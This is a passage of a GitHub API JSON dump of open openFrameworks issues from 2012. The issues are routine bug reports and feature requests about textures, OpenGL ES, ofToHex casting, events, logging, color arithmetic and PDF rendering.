texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-18T15:08:32Z","state":"open","user":{"url":"https://api.github.com/users/neilmendoza","avatar_url":"https://secure.gravatar.com/avatar/3e46b12547e7bac19eb982bc512b19c4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3e46b12547e7bac19eb982bc512b19c4","login":"neilmendoza","id":818571},"id":4174070,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-16T09:44:27Z","body":"As mentioned here: http://forum.openframeworks.cc/index.php?topic=9107.0\r\nOpenGLES2 not working. It is always falls back to ES1. I tested it only on iPad2 with iOS 5.0.1.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1178","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1178,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1178","assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"title":"OpenGLES2 not working","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-04-16T11:19:36Z","state":"open","user":{"url":"https://api.github.com/users/erinnovations","avatar_url":"https://secure.gravatar.com/avatar/29639bbeb3afdde8fb3c7e273e5e43c6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"29639bbeb3afdde8fb3c7e273e5e43c6","login":"erinnovations","id":253455},"id":4132608,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-14T13:45:55Z","body":"in ofTexture::loadData we are doing:\r\n\r\n\r\n\t//------------------------ likely, we are uploading continuous data\r\n\tGLint prevAlignment;\r\n\tglGetIntegerv(GL_UNPACK_ALIGNMENT, &prevAlignment);\r\n\tglPixelStorei(GL_UNPACK_ALIGNMENT, 1);\r\n\r\nany reason for this? leaving the default works too. i've been working with a huge video and the transfer rates on some cards were super slow with ofTexture::loadData. even glDrawPixels was faster, i've finally used pbo's but later looking at ofTexture discovered this lines and i suspect that it could be the reason for loadData being slower, haven't tested it yet though.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1175","comments":0,"milestone":null,"number":1175,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1175","assignee":null,"title":"GL_UNPACK_ALIGNMENT 1 in ofTexture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-14T13:45:42Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":4117762,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-16T09:39:22Z","body":"one returns the result (dot) the other performs in place (cross), i.e. overrides the contents\r\nThe two definitions are inconsistent\r\npropose rename `ofVec3f::dot` to become `ofVec3f::getDotted` in line with `ofVec3f::getCrossed`","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1174","comments":9,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1174,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1174","assignee":null,"title":"bug : inconsistent API for ofVec3f::dot and ofVec3f::cross","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-13T17:09:38Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":4108582,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-14T04:20:36Z","body":"If you pass a string containing non-ascii characters to ofToHex(), the non-ascii characters (with character codes above 127) will be output as ffffxxxx (it depends on the exact character value and the size of the int type on the platform you are compiling for).\r\nThe problem is due to an incorrect cast in the ostringstream operation inside the loop.\r\nInstead of directly casting the (signed) char from the input character to an unsigned int, the input character must first be cast to an unsigned char.\r\nIn other words, instead of:\r\n``` out << setfill('0') << setw(2) << hex << (unsigned int) value[i];```\r\nit should be:\r\n``` out << setfill('0') << setw(2) << hex << (unsigned int) ((unsigned char)value[i]);```\r\nor maybe even:\r\n``` out << setfill('0') << setw(2) << hex << static_cast(static_cast(value[i]));```\r\nif you prefer C++ style casts over C style casts. :)\r\n\r\nHTH\r\n/Jesper","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1173","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1173,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1173","assignee":null,"title":"ofToHex(string) is wrong for non-ascii input","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-13T14:42:30Z","state":"open","user":{"url":"https://api.github.com/users/pappis","avatar_url":"https://secure.gravatar.com/avatar/fbf3d56c96cf5b891056530066549692?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"fbf3d56c96cf5b891056530066549692","login":"pappis","id":1640543},"id":4104336,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-12T10:09:42Z","body":"if I call ofBeginSaveScreenAsPDF using ofEasyCam or the ofCamera, the pdf doesn't have the perspective of the camera. There's a parameter b3d to ofBeginSaveScreenAsPDF which I interpret to be \"render taking into account 3d transforms\", but it doesn't seem to have any effect.\r\n\r\nmore on the forum\r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,9542.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1171","comments":0,"milestone":null,"number":1171,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1171","assignee":null,"title":"ofBeginSaveScreenAsPDF ignores 3d transformations","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-12T10:09:42Z","state":"open","user":{"url":"https://api.github.com/users/jesusgollonet","avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","login":"jesusgollonet","id":31100},"id":4081188,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-13T14:54:18Z","body":"if I have `ofEvent boolEvent` and i try to call `ofNotifyEvent( boolEvent, true )` i get a `no matching function` error as the compiler cannot coerce `true` to a `bool &`.\r\n\r\nto solve this, instead of this:\r\n\r\n~~~~\r\nofEvent boolEvent;\r\n...\r\nofNotifyEvent( boolEvent, true );\r\n~~~~\r\n\r\ni need to write this:\r\n\r\n~~~~\r\nofEvent boolEvent;\r\n...\r\nbool myBool = true;\r\nofNotifyEvent( boolEvent, myBool );\r\n~~~~\r\n\r\nthis is kind of annoying.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1167","comments":2,"milestone":null,"number":1167,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1167","assignee":null,"title":"ofNotifyEvent( boolEvent, true ) fails to compile","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-04-11T12:03:34Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":4063456,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-11T13:21:33Z","body":"It's currently not possible to have an event without arguments\r\n\r\n`ofEvent testEvent;` -- fails to compile\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1166","comments":2,"milestone":null,"number":1166,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1166","assignee":null,"title":"ofEvent lacks simple, argument-free use case","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-04-11T12:00:19Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":4063417,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-21T15:41:01Z","body":"It's currently not possible to write `ofLogError( \"serial\", \"error %i connecting to serial\", serialError )`. \r\n\r\nThere should be `ofLogError( string module, string format, ... )` methods as with normal ofLog.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1165","comments":6,"milestone":null,"number":1165,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1165","assignee":null,"title":"ofLogError, ofLogWarning lack format, ... args","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-04-11T11:56:33Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":4063366,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-10T16:47:19Z","body":"change `allocate(_w, _h, OF_IMAGE_COLOR);` to `allocate(_w, _h, OF_IMAGE_COLOR_ALPHA);` (via reza on irc)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1152","comments":4,"milestone":null,"number":1152,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1152","assignee":null,"title":"grabScreen in ofImage fails on Android","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-04-09T17:15:21Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":4032047,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-29T14:46:40Z","body":"the module name is no longer printed if it's coming from OF itself.\r\n\r\ninstead of the constant name, a human-readable string is printed.\r\n\r\nexample output from project generator: http://pastebin.com/raw.php?i=0dp938Jx","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1151","comments":6,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1151,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1151","assignee":null,"title":"shorten + simplify ofLog output","labels":[],"closed_at":null,"created_at":"2012-04-08T21:13:14Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":4023525,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1151","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1151.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1151.diff"}},{"updated_at":"2012-04-17T14:47:36Z","body":"\r\nWorking on the project generator, which has a fair amount of logging, I'm concerned about how much space we loose on each line: \r\n\r\n OF: OF_LOG_NOTICE:\r\n\r\nit's about 15-20 characters or so, pretty significant where each line is 80, so alot more wrapping happens then I'd like, making the results less cleaner or organized. \r\n\r\nI propose we alter \r\n\r\n string ofGetLogLevelName(ofLogLevel level){\r\n switch(level){\r\n case OF_LOG_VERBOSE:\r\n return \"OF_LOG_VERBOSE\";\r\n break;\r\n case OF_LOG_NOTICE:\r\n return \"OF_LOG_NOTICE\";\r\n break;\r\n case OF_LOG_WARNING:\r\n return \"OF_LOG_WARNING\";\r\n break;\r\n case OF_LOG_ERROR:\r\n return \"OF_LOG_ERROR\";\r\n break;\r\n case OF_LOG_FATAL_ERROR:\r\n return \"OF_LOG_FATAL_ERROR\";\r\n break;\r\n case OF_LOG_SILENT:\r\n return \"OF_LOG_SILENT\";\r\n break;\r\n default:\r\n return \"\";\r\n }\r\n }\r\n\r\nso that we can have something like : \r\n\r\n (of:notice) \r\n (of:verbose) \r\n (of:error) \r\n\r\nor something smaller and if we loose the all caps, maybe less threatening :)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1150","comments":4,"milestone":null,"number":1150,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1150","assignee":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"title":"propose shortening ofLog console message length","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-04-08T20:32:49Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":4023305,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-07T15:00:32Z","body":"Hey all\r\n\r\nA few sections of the repo need some love to put them in line with the project generator:\r\n\r\n1. Readme's\r\n2. Rogue old project generators\r\n3. Document complementing tools\r\n\r\n# Readme\r\n\r\nThe readme's in the root of the repo need some love\r\nnone of them mention project generator \r\n\r\ni feel like each should be a description of how to get to a working project generator on each of the respective platforms\r\n\r\nalso note:\r\n* .vs2010 is missing\r\n* readme.txt repeats information from the other readme's (i.e. it's a list of platform specific instructions)\r\ni think this should be perhaps a little description of oF and a few tips on how to get started\r\n\r\n# Rogue old 'project generators' / documenting complementary tools for project generator\r\n\r\nHere's things I can find in the repo which don't make sense to me at the moment:\r\n\r\n* `openFrameworks\\scripts\\????\\compileAllExamples.bat`\r\n** is this supposed to be run (optionally) after the project generator?\r\n** why is the project template within this folder?\r\n* `openFrameworks\\scripts\\????\\createProjects.py` \r\n** if this isn't supposed to be used anymore, lets delete it immediately (we can always recover in emergencies)\r\n\r\nand the 'other' folder in the root.. perhaps never took off?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1146","comments":0,"milestone":null,"number":1146,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1146","assignee":null,"title":"Document Project Generator / clean out old tools","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"closed_at":null,"created_at":"2012-04-07T14:43:53Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":4015514,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-07T19:49:31Z","body":"When attempting to render a mesh to a PDF the ofCairoRender does not output a filled mesh, thus the PDF output looks empty. \r\n\r\nIf you open the file in illustrator you'll see the paths, there but with no stroke or fill. \r\n\r\nWhen I dug into the issue a bit further I realized that Cairo isn't capable of rendering shapes with per vertex colors easily...\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1145","comments":3,"milestone":null,"number":1145,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1145","assignee":null,"title":"ofCairoRenderer ofMesh doesn't render properly to PDF","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-04-06T22:02:01Z","state":"open","user":{"url":"https://api.github.com/users/rezaali","avatar_url":"https://secure.gravatar.com/avatar/548374013b9c6e50ebbd2294e12d4f31?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"548374013b9c6e50ebbd2294e12d4f31","login":"rezaali","id":555207},"id":4010494,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-01T04:21:01Z","body":"When using the ofColor subtraction operator, negative results are clamped to positive values instead of 0. Values are circulating between 0 and 255, which could be useful for hue in HSV but in most cases (R, G, B..) is not what I would expect.\r\n\r\n ofColor a(10, 40, 80);\r\n ofColor b(20, 5, 30);\r\n ofColor c = (a-b); // I get: (246, 45, 50), I would expect: (0, 45, 50)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1144","comments":9,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1144,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1144","assignee":null,"title":"ofColor subtraction and negative values","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-04-06T07:56:44Z","state":"open","user":{"url":"https://api.github.com/users/jembezmamy","avatar_url":"https://secure.gravatar.com/avatar/69a23dc9914cb6bc3202c50e15eabba0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"69a23dc9914cb6bc3202c50e15eabba0","login":"jembezmamy","id":720354},"id":4001148,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-04T12:07:24Z","body":"When using the dragEvent ofDragInfo I always get the following error message:\r\n\r\nwarning: Could not find object file \"/Users/theo/Documents/CODE/__OPENFRAMEWORKS/gitOF/openFrameworks/apps/devApps/macDragDropExample/buildGlutFrameworkHackedWindowLevel10.4/libForeground.a(macx_foreground.o)\" - no debug information available for \"/Users/mcast/Code/GLUT-ToPost/macx_foreground.m\".\r\n\r\nIt doesn't seem to hurt my code but is a bit annoying, especially early on when I wasn't sure if it had anything to do with compile failings. Not a big issue obviously, but it might confuse some other newbie's also.\r\n\r\n(OF 0.07 - Xcode 4.2.1 - OS X 10.7.3 - macbook pro) ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1138","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1138,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1138","assignee":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"title":"benign error message","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2012-04-04T11:05:57Z","state":"open","user":{"url":"https://api.github.com/users/davideo71","avatar_url":"https://secure.gravatar.com/avatar/42c3c1acbdb4a998d8096b49745219cd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"42c3c1acbdb4a998d8096b49745219cd","login":"davideo71","id":1611385},"id":3968742,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-03T17:37:10Z","body":"theo's #1133 made me think about ways that i use noise regularly that might also be abstracted.\r\n\r\ni would also like to see versions of noise that return multidimensional results. normally i do something like:\r\n\r\n\tofVec2 a(ofSignedNoise(t, 0), ofSignedNoise(0, t)); // 1D -> 2D\r\n\tofVec2 b(ofSignedNoise(x, 0), ofSignedNoise(0, y)); // 2D -> 2D\r\n\tofVec3 c(ofSignedNoise(t, 0, 0), ofSignedNoise(0, t, 0), ofSignedNoise(0, 0, t)); // 1D -> 3D\r\n\tofVec3 d(ofSignedNoise(x, 0, 0), ofSignedNoise(0, y, 0), ofSignedNoise(0, 0, (x + y) / 2)); // 2D -> 3D\r\n\r\nand it would be good to spend some time making sure these are really good ways of doing it, then implement them inside some functions like `ofSignedNoise2()` and `ofSignedNoise3()` (for example).","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1134","comments":2,"milestone":null,"number":1134,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1134","assignee":null,"title":"multidimensional noise output","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-04-01T16:44:55Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3917377,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-01T17:48:12Z","body":"ie: the equivalent of doing \r\n\r\nfloat rate = 0.02 + ofNoise(ofGetElapsedTimeF() * 0.02, 100.0) * 0.015;\r\nfloat value = ofSignedNoise( rate, x, y ); \r\n\r\nas one function. \r\n\r\nalso see kyle's #1134 for other noise utils. \r\n\r\nI find myself needing this quite often for more natural random motion where the rate of change is variable. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1133","comments":0,"milestone":null,"number":1133,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1133","assignee":null,"title":"ofNoise and ofSignedNoise with 2nd order control for rate.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-04-01T15:45:11Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":3917018,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}}] https GET api.github.com None 